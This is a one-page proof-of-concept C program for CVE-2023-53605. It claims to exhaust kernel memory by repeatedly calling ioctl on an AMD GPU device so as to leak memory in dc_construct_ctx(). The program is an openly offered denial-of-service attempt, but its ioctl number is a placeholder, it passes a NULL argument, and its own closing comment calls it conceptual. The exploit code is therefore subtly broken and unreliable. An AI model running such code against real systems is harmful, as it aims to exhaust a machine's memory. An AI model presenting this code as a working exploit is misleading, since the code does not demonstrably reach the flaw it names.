CVE-2023-53605

// CVE-2023-53605 PoC - Trigger memory leak in dc_construct_ctx() // This PoC demonstrates how to trigger the memory leak vulnerability // in the AMD display driver's dc_construct_ctx() function. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/mman.h> // AMDGPU IOCTL definitions (simplified) #define DRM_IOCTL_BASE 0x6440 #define DRM_COMMAND_BASE 0x6440 // Open the AMD GPU DRM device int open_amd_gpu() { int fd = open("/dev/dri/card0", O_RDWR); if (fd < 0) { perror("Failed to open AMD GPU device"); return -1; } return fd; } // Repeatedly trigger dc_construct_ctx() to cause memory leak void trigger_memory_leak(int fd, int iterations) { printf("Triggering memory leak with %d iterations...\n", iterations); for (int i = 0; i < iterations; i++) { // Trigger display context construction via DRM operations // The specific ioctl calls will invoke dc_construct_ctx() // causing memory to be allocated but not freed // Example: trigger display manager operations // that internally call dc_construct_ctx() if (ioctl(fd, DRM_IOCTL_BASE, NULL) < 0) { // Continue on error } // Monitor memory usage periodically if (i % 100 == 0) { printf("Iteration %d completed\n", i); system("cat /proc/meminfo | grep MemAvailable"); } } printf("Memory leak trigger completed.\n"); } int main(int argc, char *argv[]) { int fd; int iterations = 10000; if (argc > 1) { iterations = atoi(argv[1]); } fd = open_amd_gpu(); if (fd < 0) { printf("This system may not have an AMD GPU. Exiting.\n"); return 1; } trigger_memory_leak(fd, iterations); close(fd); return 0; } // Note: Actual exploitation requires appropriate kernel module interactions. // The above is a conceptual demonstration of triggering the vulnerability // by repeatedly invoking the affected code path through DRM device operations.

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